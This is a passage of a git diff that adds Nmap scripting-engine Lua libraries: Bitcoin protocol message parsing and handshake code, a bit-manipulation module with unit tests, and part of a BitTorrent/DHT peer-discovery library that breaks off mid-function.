+ return string.pack("<I4 c12 I4 I4", magic, cmd, len, chksum)
+ end,
+
+ }
+
+}
+
+-- The response class container
+Response = {
+
+ Header = {
+ size = 24,
+ new = function(self)
+ local o = {
+ magic = 0,
+ cmd = "",
+ length = 0,
+ checksum = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local header = Response.Header:new()
+
+ local cmd
+ header.magic, cmd, header.length, header.checksum = string.unpack(">I4 c12 I4 I4", data)
+ header.cmd = string.unpack("z", cmd)
+ return header
+ end,
+ },
+
+
+ Alert = {
+
+ type = "Alert",
+ -- Creates a new instance of Version based on data string
+ -- @param data string containing the raw response
+ -- @return o instance of Version
+ new = function(self, data)
+ local o = {
+ data = data,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- Parses the raw data and builds the Version instance
+ parse = function(self)
+ local pos = Response.Header.size + 1
+ self.header = Response.Header.parse(self.data)
+
+ local data
+ pos, data = Util.decodeVarString(self.data, pos)
+
+ --
+ -- TODO: Alert decoding goes here
+ --
+
+ return
+ end,
+ },
+
+
+ -- The version response message
+ Version = {
+
+ -- Creates a new instance of Version based on data string
+ -- @param data string containing the raw response
+ -- @return o instance of Version
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- Parses the raw data and builds the Version instance
+ parse = function(self)
+ local ra, sa, cmd, nodeid, pos
+
+ -- After 2012-02-20, version messages contain checksums
+ self.magic, cmd, self.len, self.checksum, self.ver_raw, self.service,
+ self.timestamp, ra, sa, nodeid,
+ pos = string.unpack("<I4 c12 I4 I4 I4 I8 I8 c26 c26 c8", self.data)
+ pos, self.user_agent = Util.decodeVarString(self.data, pos)
+ self.lastblock, pos = string.unpack("<I4", self.data, pos)
+ self.nodeid = stdnse.tohex(nodeid)
+ self.cmd = string.unpack("z", cmd)
+
+ local function decode_bitcoin_version(n)
+ if ( n < 31300 ) then
+ local minor, micro = n // 100, n % 100
+ return ("0.%d.%d"):format(minor, micro)
+ else
+ local minor, micro = n // 10000, (n // 100) % 100
+ return ("0.%d.%d"):format(minor, micro)
+ end
+ end
+
+ self.ver = decode_bitcoin_version(self.ver_raw)
+ self.sa = NetworkAddress.fromString(sa)
+ self.ra = NetworkAddress.fromString(ra)
+ end,
+ },
+
+ -- The verack response message
+ VerAck = {
+
+ -- Creates a new instance of VerAck based on data string
+ -- @param data string containing the raw response
+ -- @return o instance of Version
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- Parses the raw data and builds the VerAck instance
+ parse = function(self)
+ local cmd
+ -- After 2012-02-20, VerAck messages contain checksums
+ self.magic, cmd, self.checksum = string.unpack("<I4 c12 I4", self.data)
+ self.cmd = string.unpack("z", cmd)
+ end,
+ },
+
+ -- The Addr response message
+ Addr = {
+
+ -- Creates a new instance of VerAck based on data string
+ -- @param data string containing the raw response
+ -- @return o instance of Addr
+ new = function(self, data, version)
+ local o = { data = data, version=version }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- Parses the raw data and builds the Addr instance
+ parse = function(self)
+ local pos, count
+ local cmd
+ self.magic, cmd, self.len, self.chksum, pos = string.unpack("<I4 c12 I4 I4", self.data)
+ self.cmd = string.unpack("z", cmd)
+ pos, count = Util.decodeVarInt(self.data, pos)
+
+ self.addresses = {}
+ for c=1, count do
+ if ( self.version > 31402 ) then
+ local timestamp, data
+ timestamp, data, pos = string.unpack("<I4 c26", self.data, pos)
+ local na = NetworkAddress.fromString(data)
+ table.insert(self.addresses, { ts = timestamp, address = na })
+ end
+ end
+
+ end,
+ },
+
+ -- The inventory server packet
+ Inv = {
+
+ -- Creates a new instance of Inv based on data string
+ -- @param data string containing the raw response
+ -- @return o instance of Inv
+ new = function(self, data, version)
+ local o = { data = data, version=version }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- Parses the raw data and builds the Inv instance
+ parse = function(self)
+ local cmd
+ self.magic, cmd, self.len, self.chksum = string.unpack("<I4 c12 I4 I4", self.data)
+ self.cmd = string.unpack("z", cmd)
+ -- TODO parse inv_vect
+ end,
+ },
+
+ -- Receives the packet and decodes it
+ -- @param socket socket connected to the server
+ -- @param version number containing the server version
+ -- @return status true on success, false on failure
+ -- @return response instance of response packet if status is true
+ -- err string containing the error message if status is false
+ recvPacket = function(socket, version)
+ local status, header = socket:receive_buf(match.numbytes(24), true)
+ if ( not(status) ) then
+ return false, "Failed to read the packet header"
+ end
+
+ local magic, cmd, len, checksum = string.unpack("<I4 c12 I4 I4", header)
+ local data = ""
+ cmd = string.unpack("z", cmd)
+
+ -- the verack and ping has no payload
+ if ( 0 ~= len ) then
+ status, data = socket:receive_buf(match.numbytes(len), true)
+ if ( not(status) ) then
+ return false, "Failed to read the packet header"
+ end
+ else
+ -- The ping message is sent primarily to confirm that the TCP/IP connection is still valid.
+ if( cmd == "ping" ) then
+ local req = Request.Pong:new()
+
+ local status, err = socket:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send \"Pong\" reply to server"
+ else
+ return Response.recvPacket(socket, version)
+ end
+ end
+ end
+ return Response.decode(header .. data, version)
+ end,
+
+ -- Decodes the raw packet data
+ -- @param data string containing the raw packet
+ -- @param version number containing the server version
+ -- @return status true on success, false on failure
+ -- @return response instance of response packet if status is true
+ -- err string containing the error message if status is false
+ decode = function(data, version)
+ local magic, cmd = string.unpack("<I4 z", data)
+ if ( "version" == cmd ) then
+ return true, Response.Version:new(data)
+ elseif ( "verack" == cmd ) then
+ return true, Response.VerAck:new(data)
+ elseif ( "addr" == cmd ) then
+ return true, Response.Addr:new(data, version)
+ elseif ( "inv" == cmd ) then
+ return true, Response.Inv:new(data)
+ elseif ( "alert" == cmd ) then
+ return true, Response.Alert:new(data)
+ else
+ return true, ("Unknown command (%s)"):format(cmd)
+ end
+ end,
+}
+
+Util = {
+
+ varIntLen = {
+ [0xfd] = 2,
+ [0xfe] = 4,
+ [0xff] = 8,
+ },
+
+ -- Decodes a variable length int
+ -- @param data string of data
+ -- @param pos the location within the string to decode
+ -- @return pos the new position
+ -- @return count number the decoded argument
+ decodeVarInt = function(data, pos)
+ local count, pos = string.unpack("B", data, pos)
+ if count >= 0xfd then
+ count, pos = string.unpack("<I" .. Util.varIntLen[count], data, pos)
+ end
+ return pos, count
+ end,
+
+ decodeVarString = function(data, pos)
+ local count, pos = string.unpack("B", data, pos)
+ local str
+ if count < 0xfd then
+ str, pos = string.unpack("s1", data, pos - 1)
+ else
+ str, pos = string.unpack("<s" .. Util.varIntLen[count], data, pos)
+ end
+ return pos, str
+ end,
+
+}
+
+-- The Helper class used as a primary interface to scripts
+Helper = {
+
+ -- Creates a new Helper instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param options table containing additional options
+ -- <code>timeout</code> - the socket timeout in ms
+ -- @return instance of Helper
+ new = function(self, host, port, options)
+ local o = {
+ host = host,
+ port = port,
+ options = options or {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the BitCoin Server
+ -- @return status true on success false on failure
+ -- @return err string containing the error message in case status is false
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 10000)
+ local status, err = self.socket:connect(self.host, self.port)
+
+ if ( not(status) ) then
+ return false, err
+ end
+ status, self.lhost, self.lport = self.socket:get_info()
+ return status, (status and nil or self.lhost)
+ end,
+
+ -- Performs a version handshake with the server
+ -- @return status, true on success false on failure
+ -- @return version instance if status is true
+ -- err string containing an error message if status is false
+ exchVersion = function(self)
+ if ( not(self.socket) ) then
+ return false
+ end
+
+ local req = Request.Version:new(
+ self.host, self.port, self.lhost, self.lport
+ )
+
+ local status, err = self.socket:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send \"Version\" request to server"
+ end
+
+ local version
+ status, version = Response.recvPacket(self.socket)
+
+ if not status or not version then
+ return false, "Failed to read \"Version\" response from server: " .. (version or "nil")
+ elseif version.cmd ~= "version" then
+ return false, ('"Version" request got %s from server'):format(version.cmd)
+ end
+
+ if ( version.ver_raw > 29000 ) then
+ local status, verack = Response.recvPacket(self.socket)
+ end
+
+ local verack = Request.VerAck:new()
+ local status, err = self.socket:send(tostring(verack))
+ if ( not(status) ) then
+ return false, "Failed to send \"Version\" request to server"
+ end
+
+ self.version = version.ver_raw
+ return status, version
+ end,
+
+ getNodes = function(self)
+ local req = Request.GetAddr:new(
+ self.host, self.port, self.lhost, self.lport
+ )
+
+ local status, err = self.socket:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send \"GetAddr\" request to server"
+ end
+
+ local status, response = Response.recvPacket(self.socket, self.version)
+ local all_addrs = {}
+ local limit = 10
+ -- Usually sends an addr response with 1 address,
+ -- then some other stuff like getheaders or ping,
+ -- then one with hundreds of addrs.
+ while status and #all_addrs <= 1 and limit > 0 do
+ limit = limit - 1
+ status, response = Response.recvPacket(self.socket, self.version)
+ if status and response.cmd == "addr" then
+ for _, addr in ipairs(response.addresses) do
+ all_addrs[#all_addrs+1] = addr
+ end
+ end
+ end
+
+ return #all_addrs > 0, all_addrs
+ end,
+
+ -- Reads a message from the server
+ -- @return status true on success, false on failure
+ -- @return response instance of response packet if status is true
+ -- err string containing the error message if status is false
+ readMessage = function(self)
+ assert(self.version, "Version handshake has not been performed")
+ return Response.recvPacket(self.socket, self.version)
+ end,
+
+ -- Closes the connection to the server
+ -- @return status true on success false on failure
+ -- @return err code, if status is false
+ close = function(self)
+ return self.socket:close()
+ end
+}
+
+return _ENV;
diff --git a/nselib/bits.lua b/nselib/bits.lua
new file mode 100644
index 0000000..b620168
--- /dev/null
+++ b/nselib/bits.lua
@@ -0,0 +1,79 @@
+---
+-- Bit manipulation library.
+--
+-- @author Patrick Donnelly <batrick@batbytes.com>
+-- @copyright Same as Nmap -- see https://nmap.org/book/man-legal.html
+-- @see https://www.lua.org/manual/5.3/manual.html#3.4.2
+--
+-- @class module
+-- @name bits
+
+local assert = assert
+local error = error
+local unittest = require "unittest"
+
+local _ENV = {}
+
+--- Reverses bits in integer.
+--
+-- @param n The integer.
+-- @param size The bit width of the integer (default: 8).
+-- @return The reversed integer.
+function reverse (n, size)
+ if not size or size == 8 then
+ n = n & 0xff
+ n = (n & 0xf0) >> 4 | (n & 0x0f) << 4
+ n = (n & 0xcc) >> 2 | (n & 0x33) << 2
+ n = (n & 0xaa) >> 1 | (n & 0x55) << 1
+ n = n & 0xff
+ elseif size == 32 then
+ n = n & 0xffffffff
+ n = ((n >> 1) & 0x55555555) | ((n & 0x55555555) << 1);
+ n = ((n >> 2) & 0x33333333) | ((n & 0x33333333) << 2);
+ n = ((n >> 4) & 0x0F0F0F0F) | ((n & 0x0F0F0F0F) << 4);
+ n = ((n >> 8) & 0x00FF00FF) | ((n & 0x00FF00FF) << 8);
+ n = ( n >> 16 ) | ( n << 16);
+ n = n & 0xffffffff
+ else
+ error("invalid size: "..size)
+ end
+ return n
+end
+
+--- Returns <code>a</code> arithmetically right-shifted by <code>b</code>
+-- places.
+-- @param a Number to perform the shift on.
+-- @param b Number of shifts.
+function arshift(a, b)
+ if a < 0 then
+ if a % 2 == 0 then -- even?
+ return a // (1<<b)
+ else
+ return a // (1<<b) + 1
+ end
+ else
+ return a >> b
+ end
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+local equal = unittest.equal
+
+test_suite = unittest.TestSuite:new()
+test_suite:add_test(equal(reverse(0x00, 8), 0x00), "reverse 8-bit number")
+test_suite:add_test(equal(reverse(0x01, 8), 0x80), "reverse 8-bit number")
+test_suite:add_test(equal(reverse(0x80, 8), 0x01), "reverse 8-bit number")
+test_suite:add_test(equal(reverse(0xff, 8), 0xff), "reverse 8-bit number")
+test_suite:add_test(equal(reverse(0x88, 8), 0x11), "reverse 8-bit number")
+test_suite:add_test(equal(reverse(0x5c, 8), 0x3a), "reverse 8-bit number")
+
+test_suite:add_test(equal(reverse(0x00000000, 32), 0x00000000), "reverse 32-bit number")
+test_suite:add_test(equal(reverse(0x00000001, 32), 0x80000000), "reverse 32-bit number")
+test_suite:add_test(equal(reverse(0x80000000, 32), 0x00000001), "reverse 32-bit number")
+test_suite:add_test(equal(reverse(0xffffffff, 32), 0xffffffff), "reverse 32-bit number")
+test_suite:add_test(equal(reverse(0x22221234, 32), 0x2c484444), "reverse 32-bit number")
+
+return _ENV
diff --git a/nselib/bittorrent.lua b/nselib/bittorrent.lua
new file mode 100644
index 0000000..4cba1e6
--- /dev/null
+++ b/nselib/bittorrent.lua
@@ -0,0 +1,1053 @@
+--- Bittorrent and DHT protocol library which enables users to read
+-- information from a torrent file, decode bencoded (bittorrent
+-- encoded) buffers, find peers associated with a certain torrent and
+-- retrieve nodes discovered during the search for peers.
+--
+-- For more information on the Bittorrent and DHT protocol go to:
+-- http://www.bittorrent.org/beps/bep_0000.html
+--
+-- The library contains the class <code>Torrent</code> and the function bdecode(buf)
+--
+-- How this library is likely to be used:
+-- <code>
+-- local filename = "/home/user/name.torrent"
+-- local torrent = bittorrent.Torrent:new()
+-- torrent:load_from_file(filename)
+-- torrent:trackers_peers() -- to load peers from the trackers
+-- torrent:dht_peers() -- to further load peers using the DHT protocol from existing peers
+-- </code>
+-- After these operations the peers and nodes can be found in <code>torrent.peers</code> and
+-- <code>torrent.nodes</code> tables respectively
+--
+-- @author Gorjan Petrovski
+-- @license "Same as Nmap--See https://nmap.org/book/man-legal.html"
+--
+
+-- The usage of the library would be first to initialize a new Torrent
+-- object. This initialization includes setting values for several
+-- variables.
+-- Next, a the torrent information needs to be loaded from a torrent file
+-- or a magnet link. The information in question would be a list of
+-- trackers, and the info_hash variable which is a 20 bytes length SHA1
+-- hash of the info field in the torrent file. The torrent file includes
+-- the field itself, but the magnet link only includes the info_hash
+-- value.
+-- After the basic info for the torrent is set, next the peers from the
+-- trackers need to be downloaded (torrent:trackers_peers()). There are
+-- http and udp trackers which use different protocols implemented in the
+-- Torrent:http_tracker_peers() and Torrent:udp_tracker_peers(). The
+-- communication is done serially and could be improved by using threads.
+-- After a few peers have been discovered we can continue in using the
+-- DHT protocol to discover more. We MUST have several peers in order to
+-- use the DHT protocol, and what's more at least one of the peers must
+-- have that protocol implemented. A peer which implements the DHT
+-- protocol is called a node. What that protocol allows is actually to
+-- find more peers for the torrent we are downloading/interested in, and
+-- it also allows us to find more nodes (hosts which implement the DHT
+-- protocol). Please notice that a DHT node does not necessarily have to
+-- be a peer sharing the torrent we need. So, in fact we have two
+-- networks, the network of peers (hosts sharing the torrent we need) and
+-- the DHT network (network of nodes which allow us to find more peers
+-- and nodes.
+-- There are three kinds of commands we need to do DHT discovery:
+-- - dht_ping, which is sent to a peer to test if the peer is a DHT node
+-- - find_node, which is sent to a DHT node to discover more DHT nodes
+-- - get_peers, which is sent to a DHT node to discover peers sharing a
+-- specific torrent; If the node that we send the get_peers command
+-- doesn't have a record of peers sharing that torrent, it returns more
+-- nodes.
+-- So in the bittorrent library I implemented every command in functions
+-- which are run as separate threads. They synchronize their work using
+-- the pnt condvar table. This is the map of pnt (peer node table):
+-- pnt = { peers_dht_ping, peers, nodes_find_node, nodes_get_peers, nodes }
+-- The dht_ping thread pings every peer in peers_dht_ping and then
+-- inserts it into peers. It does this for batches of a 100 peers. If the
+-- peer responds it adds it to the nodes_find_node list.
+-- The find_node thread sends find_node queries to the nodes in
+-- nodes_find_node, after which it puts them in nodes_get_peers. The
+-- nodes included in the response are added to the nodes_find_node list
+-- if they are not present in any of the nodes' lists.
+-- The nodes_get_peers sends a get_peers query to every node in the list
+-- after which they are added to the nodes list. If undiscovered peers
+-- are returned they are inserted into peers_dht_ping. If undiscovered
+-- nodes are found they are inserted into nodes_find_node.
+-- All of these threads run for a specified timeout whose default value
+-- is ~ 30 seconds.
+-- As you can see all newly discovered nodes are added to the
+-- nodes_find_node, and are processed first by the find_node thread, and
+-- then by the get_peers thread. All newly discovered peers are added to
+-- the peers_dht_ping to be processed by the dht_ping thread and so on.
+-- That enables the three threads to cooperate and pass on peers and
+-- nodes between each other.
+--
+-- There is also a bdecode function which decodes Bittorrent encoded
+-- buffers and organizes them into a structure I deemed fit for use.
+-- There are two known bittorrent structures: the list and the
+-- dictionary. One problem I encountered was that the bittorrent
+-- dictionary can have multiple entries with same-name keys. This kind of
+-- structure is not supported by Lua, so I had to use lists to represent
+-- the dictionaries as well which made accessing the keys a bit quirky
+
+local ipOps = require "ipOps"
+local coroutine = require "coroutine"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local openssl = require "openssl"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+local rand = require "rand"
+_ENV = stdnse.module("bittorrent", stdnse.seeall)
+
+--- Given a buffer and a starting position in the buffer, this function decodes
+-- a bencoded string there and returns it as a normal lua string, as well as
+-- the position after the string
+local bdec_string = function(buf, pos)
+ local len = tonumber(string.match(buf, "^(%d+):", pos) or "nil", 10)
+ if not len then
+ return nil, pos
+ end
+ pos = string.find(buf, ":", pos, true) + 1
+
+ local str = buf:sub(pos,pos+len-1)
+ pos = pos+len
+ return str, pos
+end
+
+--- Given a buffer and a starting position in the buffer, this function decodes
+-- a bencoded number there and returns it as a normal lua number, as well as
+-- the position after the number
+local bdec_number = function(buf, pos)
+ local s, n = string.match(buf, "^i(%-*)(%d+)e", pos)
+ if not n then return nil end
+
+ local num = tonumber(n)
+ -- 1 for the "i", 1 for the "e", 1 if there is a "-" plus the length of n
+ pos = pos + 2 + #n
+
+ if s == "-" then
+ num = -num
+ pos = pos + 1
+ end
+
+ return num, pos
+end
+
+--- Parses a bencoded buffer
+-- @param buf, string with the bencoded buffer
+-- @return bool indicating if parsing went ok
+-- @return table containing the decoded structure, or error string
+bdecode = function(buf)
+ local len = #buf
+
+ -- the main table
+ local t = {}
+ local stack = {}
+
+ local pos = 1
+ local cur = {}
+ cur.type = "list"
+ cur.ref = t
+ table.insert(stack, cur)
+ cur.ref.type="list"
+ cur.ref.start = pos
+
+ while pos <= len do
+
+ if cur.type == "list" then
+ -- next element is a string
+ if tonumber( string.char( buf:byte(pos) ) ) then
+ local str
+ str, pos = bdec_string(buf, pos)
+ if not str then return nil, "Error parsing string", pos end
+ table.insert(cur.ref, str)
+
+ -- next element is a number
+ elseif "i" == string.char(buf:byte(pos)) then
+ local num
+ num, pos = bdec_number(buf, pos)
+ if not num then return nil, "Error parsing number", pos end
+ table.insert(cur.ref, num)
+
+ -- next element is a list
+ elseif "l" == string.char(buf:byte(pos)) then
+ local new_list = {}
+ new_list.type="list"
+ table.insert(cur.ref, new_list)
+
+ cur = {}
+ cur.type = "list"
+ cur.ref = new_list
+ cur.ref.start = pos
+ table.insert(stack, cur)
+ pos = pos+1
+
+ --next element is a dict
+ elseif "d" == string.char(buf:byte(pos)) then
+ local new_dict = {}
+ new_dict.type = "dict"
+ table.insert(cur.ref, new_dict)
+
+ cur = {}
+ cur.type = "dict"
+ cur.ref = new_dict
+ cur.ref.start = pos
+ table.insert(stack, cur)
+ pos = pos+1
+
+ --escape from the list
+ elseif "e" == string.char(buf:byte(pos)) then
+ stack[#stack].ref.endpos = pos
+ table.remove(stack, #stack)
+ cur = stack[#stack]
+ if not cur then return nil, "Problem with list closure:", pos end
+ pos = pos+1
+
+ -- trailing whitespace
+ elseif string.match(buf, "^%s*$", pos) then
+ pos = len+1
+ else
+ return nil, "Unknown type found.", pos
+ end
+
+ elseif cur.type == "dict" then
+ local item = {} -- {key = <string>, value = <.*>}
+ -- used to skip reading the value when escaping from a structure
+ local escape_flag = false
+
+ -- fill the key
+ if tonumber( string.char( buf:byte(pos) ) ) then
+ local str
+ local tmp_pos = pos
+ str, pos = bdec_string(buf, pos)
+ if not str then return nil, "Error parsing string.", pos end
+ item.key = str
+ elseif "e" == string.char(buf:byte(pos)) then
+ stack[#stack].ref.endpos = pos
+ table.remove(stack, #stack)
+ cur = stack[#stack]
+ if not cur then return nil, "Problem with list closure:", pos end
+ pos = pos+1
+
+ escape_flag = true
+
+ else
+ return nil, "A dict key has to be a string or escape.", pos
+ end
+
+ if not escape_flag then
+ -- value
+ -- next element is a string
+ if tonumber( string.char( buf:byte(pos) ) ) then
+ local str
+ str, pos = bdec_string(buf, pos)
+ if not str then return nil, "Error parsing string.", pos end
+ item.value = str
+ table.insert(cur.ref, item)
+
+ --next element is a number
+ elseif "i" == string.char(buf:byte(pos)) then
+ local num
+ num, pos = bdec_number(buf, pos)
+ if not num then return nil, "Error parsing number.", pos end
+ item.value = num
+ table.insert(cur.ref, item)
+
+ -- next element is a list
+ elseif "l" == string.char(buf:byte(pos)) then
+ item.value = {}
+ item.value.type = "list"
+ table.insert(cur.ref, item)
+
+ cur = {}
+ cur.type = "list"
+ cur.ref = item.value
+ cur.ref.start = pos
+
+ table.insert(stack, cur)
+ pos = pos+1
+
+ --next element is a dict
+ elseif "d" == string.char(buf:byte(pos)) then
+ item.value = {}
+ item.value.type = "dict"
+ table.insert(cur.ref, item)
+
+ cur = {}
+ cur.type = "dict"
+ cur.ref = item.value
+ cur.ref.start = pos
+
+ table.insert(stack, cur)
+ pos = pos+1
+
+ --escape from the dict
+ elseif "e" == string.char(buf:byte(pos)) then
+ stack[#stack].ref.endpos = pos
+ table.remove(stack, #stack)
+ cur = stack[#stack]
+ if not cur then return false, "Problem with dict closure", pos end
+ pos = pos+1
+ else
+ return false, "Error parsing file, unknown type found", pos
+ end
+ end -- if not escape_flag
+ else -- elseif type == "dict"
+ return false, "Invalid type of structure. Fix the code."
+ end
+ end -- while(true)
+
+ -- The code below is commented out because some responses from trackers are
+ -- not according to standards
+
+ -- next(stack) is never gonna be nil because we're always in the main list
+ -- next(stack, next(stack)) should be nil if we're in the main list
+ -- if next(stack, next(stack)) then
+ -- return false, "Probably file incorrect format"
+ -- end
+
+ return true, t
+end
+
+--- This is the thread function which sends a DHT ping probe to every peer in
+-- pnt.peers_dht_ping after which the peer is moved to the pnt.peers and
+-- removed from pnt.peers_dht_ping. Every peer which responds to the DHT ping
+-- is actually a DHT node and is added to the pnt.nodes_find_node table in
+-- order to be processed byt the find_node_thread(). This operation is done
+-- during the specified timeout which has a default value of about 30 seconds.
+local dht_ping_thread = function(pnt, timeout)
+ local condvar = nmap.condvar(pnt)
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(3000)
+ local status, data
+
+ local transaction_id = 0
+ local start = os.time()
+
+ while os.time() - start < timeout do
+ local num_peers = 0
+ --ping a 100 peers if there are as many
+
+ while next(pnt.peers_dht_ping) ~= nil and num_peers <= 100 and os.time() - start < timeout do
+ num_peers = num_peers +1
+ local peer_ip, peer_info = next(pnt.peers_dht_ping)
+
+ --transaction ids are 2 bytes long
+ peer_info.transaction_id = string.pack(">I2",transaction_id % 0xffff)
+
+ -- mark it as received so we can distinguish from the others and
+ -- successfully iterate while receiving
+ peer_info.received = false
+
+ pnt.peers[peer_ip] = peer_info
+ pnt.peers_dht_ping[peer_ip] = nil
+
+ -- bencoded ping query describing a dictionary with y = q (query), q = ping
+ -- {"t":<transaction_id>, "y":"q", "q":"ping", "a":{"id":<node_id>}}
+ local ping_query = "d1:ad2:id20:" .. pnt.node_id .. "e1:q4:ping1:t2:" ..
+ peer_info.transaction_id .. "1:y1:qe"
+
+ status, data = socket:sendto(peer_ip, peer_info.port, ping_query)
+
+ transaction_id = transaction_id +1
+ if transaction_id % 0xffff == 0 then
+ transaction_id = 0
+ end
+ end
+
+ -- receive responses up to a 100
+ for c = 1, 100 do
+ if os.time() - start >= timeout then break end
+ status, data = socket:receive()
+ if not status then break end
+
+ local s, r = bdecode(data)
+ -- if the response is decoded process it
+ if s then
+ local error_flag = true
+ local good_response = false
+ local node_id = nil
+ local trans_id = nil
+
+ for _, i in ipairs(r[1]) do
+ if i.key == "y" and i.value == "r" then
+ error_flag = false
+ elseif i.key == "r" and i.value and i.value[1] and i.value[1].value then
+ node_id = i.value[1].value
+ good_response = true
+ elseif i.key == "t" then
+ trans_id = i.value
+ end
+ end
+
+ if (not error_flag) and good_response and node_id and trans_id then
+ local peer_ip
+ for ip, info in pairs(pnt.peers) do
+ if info.transaction_id == trans_id then
+ info.received = nil
+ peer_ip = ip
+ break
+ end
+ end
+ if peer_ip then
+ pnt.peers[peer_ip].node_id = node_id
+ if not (pnt.nodes_find_node[peer_ip] or pnt.nodes_get_peers[peer_ip] or
+ pnt.nodes[peer_ip]) then
+ pnt.nodes_find_node[peer_ip] = pnt.peers[peer_ip]
+ end
+ end
+ end
+ end -- if s then
+ end -- /for c = 1, 100
+ end -- /while true
+ socket:close()
+ condvar("signal")
+end
+
+
+--- This thread sends a DHT find_node query to every node in
+-- pnt.nodes_find_node, after which every node is moved to pnt.nodes_get_peers
+-- to be processed by the get_peers_thread() function. The responses to these
+-- queries contain addresses of other DHT nodes (usually 8) which are added to
+-- the pnt.nodes_find_node list. This action is done for a timeout with a
+-- default value of 30 seconds.
+local find_node_thread = function(pnt, timeout)
+ local condvar = nmap.condvar(pnt)
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(3000)
+ local status, data
+
+ local start = os.time()
+ while true do
+ if os.time() - start >= timeout then break end
+ local num_peers = 0
+
+ while next(pnt.nodes_find_node) ~= nil and num_peers <= 100 do
+ num_peers = num_peers +1
+ local node_ip, node_info = next(pnt.nodes_find_node)
+
+ -- standard bittorrent protocol specified find_node query with y = q (query),
+ -- q = "find_node" (type of query),
+ -- find_node Query = {"t":<transaction_id>, "y":"q", "q":"find_node", "a": {"id":<node_id>, "target":<info_hash>}}
+ local find_node_query = "d1:ad2:id20:" .. pnt.node_id .. "6:target20:" ..
+ pnt.info_hash .. "e1:q9:find_node1:t2:" .. rand.random_string(2) .. "1:y1:qe"
+
+ -- add the traversed nodes to pnt.nodes_get_peers so they can be traversed by get_peers_thread
+ pnt.nodes_get_peers[node_ip] = node_info
+ pnt.nodes_find_node[node_ip] = nil
+
+ status, data = socket:sendto(node_ip, node_info.port, find_node_query)
+ end
+
+ for c = 1, 100 do
+ if os.time() - start >= timeout then break end
+ status, data = socket:receive()
+ if not status then break end
+ local s, r = bdecode(data)
+
+ if s then
+ local nodes = nil
+ if r[1] and r[1][1] and r[1][1].key == "r" and r[1][1].value then
+ for _, el in ipairs(r[1][1].value) do
+ if el.key == "nodes" then
+ nodes = el.value
+ end
+ end
+ end
+
+ --parse the nodes an add them to pnt.nodes_find_node
+ if nodes then
+ local pos = 1
+ while pos < #nodes do
+ local node_id, node_ip, node_port
+ node_id, node_ip, node_port, pos = string.unpack(">c20 I4 I2", nodes, pos)
+ node_ip = ipOps.fromdword(node_ip)
+
+ local node_info = {
+ port = node_port,
+ node_id = node_id,
+ }
+
+ if not (pnt.nodes[node_ip] or pnt.nodes_get_peers[node_ip]
+ or pnt.nodes_find_node[node_ip]) then
+ pnt.nodes_find_node[node_ip] = node_info
+ end
+ end
+ end -- if nodes
+ end -- if s
+ end -- for c = 1, 100
+ end -- while true
+ socket:close()
+ condvar("signal")
+end
+
+
+--- This thread sends get_peers DHT queries to all the nodes in
+-- pnt.nodes_get_peers, after which they are moved to pnt.nodes. There are two
+-- kinds of responses to these kinds of queries. One response contains peers,
+-- which would be added to the pnt.peers_dht_ping list, and the other kind of
+-- response is sent when the queried node has no peers, and contains more nodes
+-- which are added to the pnt.nodes_find_node list.
+local get_peers_thread = function(pnt, timeout)
+ local condvar = nmap.condvar(pnt)
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(3000)
+ local status, data
+
+ local start = os.time()
+ while true do
+ if os.time() - start >= timeout then break end
+ local num_peers = 0
+
+ while next(pnt.nodes_get_peers) ~= nil and num_peers <= 100 do
+ num_peers = num_peers +1
+ local node_ip, node_info = next(pnt.nodes_get_peers)
+
+ -- standard bittorrent protocol specified get_peers query with y ="q" (query)
+ -- and q = "get_peers" (type of query)
+ -- {"t":<transaction_id>, "y":"q", "q":"get_peers", "a": {"id":<node_id>, "info_hash":<info_hash>}}
+ local get_peers_query = "d1:ad2:id20:" .. pnt.node_id .. "9:info_hash20:" ..
+ pnt.info_hash .. "e1:q9:get_peers1:t2:" .. rand.random_string(2) .. "1:y1:qe"
+
+ pnt.nodes[node_ip] = node_info
+ pnt.nodes_get_peers[node_ip] = nil
+
+ status, data = socket:sendto(node_ip, node_info.port, get_peers_query)
+ end
+
+ for c = 1, 100 do
+ if os.time() - start >= timeout then break end
+ status, data = socket:receive()
+ if not status then break end
+ local s, r = bdecode(data)
+
+ if s then
+ local good_response = false
+ local nodes = nil
+ local peers = nil
+ for _,el in ipairs(r[1]) do
+ if el.key == "y" and el.value == "r" then
+ good_response = true
+ elseif el.key == "r" then
+ for _,i in ipairs(el.value) do
+ -- the key will either be for nodes or peers
+ if i.key == "nodes" then -- nodes
+ nodes = i.value
+ break
+ elseif i.key == "values" then -- peers
+ peers = i.value
+ break
+ end
+ end
+ end
+ end
+
+ if not good_response then
+ break
+ end
+
+ if nodes then
+
+ local pos = 1
+ while pos < #nodes do
+ local node_id, node_ip, node_port
+ node_id, node_ip, node_port, pos = string.unpack(">c20 I4 I2", nodes, pos)
+ node_ip = ipOps.fromdword(node_ip)
+
+ local node_info = {
+ port = node_port,
+ node_id = node_id,
+ }
+
+ if not (pnt.nodes[node_ip] or pnt.nodes_get_peers[node_ip] or
+ pnt.nodes_find_node[node_ip]) then
+ pnt.nodes_find_node[node_ip] = node_info
+ end
+ end
+
+ elseif peers then
+
+ for _, peer in ipairs(peers) do
+ local ip, port = string.unpack(">I4 I2", peer)
